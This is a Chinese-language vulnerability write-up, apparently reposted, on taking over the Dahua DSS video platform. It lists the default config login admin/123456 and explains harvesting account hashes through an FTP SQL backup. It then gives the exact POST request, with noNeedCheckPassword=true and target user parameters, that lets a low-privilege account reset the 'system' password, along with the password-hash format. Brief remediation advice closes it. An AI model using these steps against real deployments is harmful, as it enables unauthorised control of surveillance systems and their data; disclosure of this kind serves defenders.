大华平台linux密码,大华DSS平台低权限账户越权直接修改system密码

2023-05-16

大华DSS平台低权限账户越权直接修改system密码

前提:拥有config配置用户名密码

被测试DSS版本信息:V3.11.003.R.20150929.374164

前提:拥有config配置用户名密码

一.取得所有用户名

1.进入config管理界面

地址:http://[IP]/config/user_toLoginPage.action

默认用户名admin密码123456

2.配置自动SQL备份FTP服务器

211dcf1f510be703effb3be43d0cf4a9.png

3.等待自动备份

4.从备份的SQL文件中获得所有账户的用户名,密码(MD5)

0f8736d553dcf1a0ff1d5c54ce3f148f.png

5. 测试账户弱口令,取得一个低权限账户

二.

1.web登录低权限账户(获得登录cookie)

242ebc83a10336a5f554a308e6aafc18.png

2.POST提交强制修改密码的url(保持低权限账户的cookie)

我直接用的火狐在浏览器中提交的

6459bd868987203e1400d22890f5764c.png

http://【IP】/admin/user_updatePassword.action?nowTime=【时间戳】

POST信息:

noNeedCheckPassword=true

userBean.loginName=system 被改密码的用户名

userBean.id=1被改的用户ID(数据文件中获取)

userBean.newLoginPass=7e9038a26b85dc9b7d5089a1b1d7e00c 新密码MD5

MD5加密格式:

用户名:DSS:密码

(逆向JS所得)

三.完毕

经核实:所用的低权限账号是没有管理员权限的

ad5ea6918153410bbf26beeca14c18e6.png

4fb8375d842e862ff851496446f7fb10.png

解决方案:

弱口令和默认修改下可以简单解决

修改密码的提交增加权限认证

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

大华平台linux密码,大华DSS平台低权限账户越权直接修改system密码 的相关文章

随机推荐